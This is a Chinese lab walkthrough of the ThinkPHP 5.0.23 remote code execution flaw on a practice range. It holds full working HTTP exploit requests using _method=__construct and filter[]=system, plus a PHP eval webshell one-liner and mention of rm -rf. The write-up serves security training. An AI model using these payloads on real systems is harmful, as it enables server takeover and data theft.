靶机信息
可以通过访问极核官方靶场开启靶机实验:极核靶场 -> 渗透测试靶场 -> ThinkPHP 5.0.23 – 远程代码执行
![图片[1] - 【靶机实战】ThinkPHP 5.0.23 远程代码执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/05/image-30.png)
漏洞科普
ThinkPHP 5.0.23的远程代码执行漏洞源于框架路由机制与参数过滤的设计缺陷。攻击者通过构造包含_method=__construct
的恶意请求,覆盖Request
类的构造函数参数,并利用filter[]=system
注入危险函数,将用户输入直接传递给system
等系统命令执行函数。例如,Payload通过server[REQUEST_METHOD]=ls
触发命令执行,甚至可上传Base64编码的Webshell(如<?php @eval($_POST['x'])?>
)实现持久化控制。漏洞利用条件包括未开启强制路由、未升级至安全版本(5.0.24+),以及允许动态路由解析。
该漏洞的危害等级极高,可导致完全服务器沦陷。攻击者能够直接执行任意系统命令(如删除文件、窃取数据)、植入Webshell(如通过蚁剑连接实现文件管理),并可能横向渗透内网系统或部署挖矿木马等恶意程序。若未修复,攻击者可绕过常规权限控制,直接威胁业务数据安全性与服务可用性(如通过rm -rf
破坏系统)。
靶机实战
手动RCE
构建数据包,测试命令执行
POST /?s=captcha HTTP/1.1
Host: node.hackhub.get-shell.com:52484
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node.hackhub.get-shell.com:52484/?s=captcha
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
Content-Length: 80
_method=__construct&filter%5B%5D=system&method=get&server%5BREQUEST_METHOD%5D=id
![图片[2] - 【靶机实战】ThinkPHP 5.0.23 远程代码执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/05/image-31.png)
测试列举根目录
POST /?s=captcha HTTP/1.1
Host: node.hackhub.get-shell.com:52484
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node.hackhub.get-shell.com:52484/?s=captcha
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
Content-Length: 82
_method=__construct&filter%5B%5D=system&method=get&server%5BREQUEST_METHOD%5D=ls /
![图片[3] - 【靶机实战】ThinkPHP 5.0.23 远程代码执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/05/image-32.png)
接着读取根目录的flag文件即可
POST /?s=captcha HTTP/1.1
Host: node.hackhub.get-shell.com:52484
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node.hackhub.get-shell.com:52484/?s=captcha
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
Content-Length: 87
_method=__construct&filter%5B%5D=system&method=get&server%5BREQUEST_METHOD%5D=cat /flag
![图片[4] - 【靶机实战】ThinkPHP 5.0.23 远程代码执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/05/image-33.png)
工具一把梭
直接利用ThinkPHP利用工具一把梭了
![图片[5] - 【靶机实战】ThinkPHP 5.0.23 远程代码执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/05/image-34.png)
![图片[6] - 【靶机实战】ThinkPHP 5.0.23 远程代码执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/05/image-35.png)
THE END
暂无评论内容